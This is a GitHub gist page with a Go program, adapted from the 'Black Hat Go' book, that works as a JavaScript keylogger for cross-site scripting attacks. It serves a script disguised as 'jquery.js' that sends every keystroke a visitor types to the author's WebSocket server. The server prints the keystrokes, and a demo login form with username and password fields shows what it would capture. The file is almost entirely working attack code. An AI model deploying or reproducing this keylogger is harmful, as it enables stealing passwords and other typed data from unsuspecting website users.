Last active
September 27, 2023 16:06
-
-
Save dorneanu/02c9c5bb83e881e7ad2c1e93c7c2fd24 to your computer and use it in GitHub Desktop.
Simple JS keylogger (can be used in XSS) in combination with a websocket server in Golang. Adapted from the example in the "Black Hat Go" book.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
"html/template" | |
"log" | |
"net/http" | |
"github.com/gorilla/mux" | |
"github.com/gorilla/websocket" | |
) | |
// Some global variables | |
var ( | |
upgrader = websocket.Upgrader{ | |
CheckOrigin: func(r *http.Request) bool { return true }, | |
} | |
listenAddr string | |
jsTemplate *template.Template | |
htmlTemplate *template.Template | |
) | |
// init gets executed before main | |
func init() { | |
flag.StringVar(&listenAddr, "listen-addr", "", "Adddress to listen on") | |
flag.Parse() | |
log.Print("Listen-Addr: " + listenAddr) | |
// Set javascript template | |
// This script will act as a keylogger and send every key stroke | |
// to a websocket. | |
jsTemplate = template.Must(template.New("js").Parse(` | |
(function() { | |
var conn = new WebSocket("ws://{{.}}/websocket"); | |
document.onkeypress = keypress; | |
function keypress(evt) { | |
s = String.fromCharCode(evt.which); | |
conn.send(s); | |
} | |
})(); | |
`)) | |
htmlTemplate = template.Must(template.New("html").Parse(` | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<meta name="viewport" content="width=device-width"> | |
<title>JS Bin</title> | |
</head> | |
<body> | |
<script src="http://{{.}}/jquery.js"></script> | |
<form action="/login" method="post"> | |
<input name="username"/> | |
<input name="password"/> | |
<input type="submit"/> | |
</form> | |
</body> | |
</html> | |
`)) | |
} | |
func index(w http.ResponseWriter, r *http.Request) { | |
// Return html template and replace {{.}} by listen addr in the template | |
htmlTemplate.Execute(w, listenAddr) | |
} | |
// serveWebSocket will receive data from the JS keylogger | |
func serveWebSocket(w http.ResponseWriter, r *http.Request) { | |
// Update HTTP connection to websocket | |
c, err := upgrader.Upgrade(w, r, nil) | |
if err != nil { | |
log.Print("upgrade:", err) | |
return | |
} | |
defer c.Close() | |
fmt.Printf("Connection from %s\n", c.RemoteAddr().String()) | |
// In an infinite loop receive messages and print them to stdout | |
for { | |
_, msg, err := c.ReadMessage() | |
if err != nil { | |
return | |
} | |
fmt.Printf("From %s: %s\n", c.RemoteAddr().String(), string(msg)) | |
} | |
} | |
// serveJavaScript returns the javascript code specified in jsTemplate | |
func serveJavaScript(w http.ResponseWriter, req *http.Request) { | |
log.Print("Serving Javascript content") | |
w.Header().Set("Content-Type", "application/javascript") | |
// Replace {{.}} by websocket's address in jsTemplate and write | |
// generated string to http.ResponseWriter | |
jsTemplate.Execute(w, listenAddr) | |
} | |
func main() { | |
// Create router | |
r := mux.NewRouter() | |
r.HandleFunc("/", index) | |
r.HandleFunc("/websocket", serveWebSocket) | |
r.HandleFunc("/jquery.js", serveJavaScript) | |
log.Fatal(http.ListenAndServe(":1337", r)) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment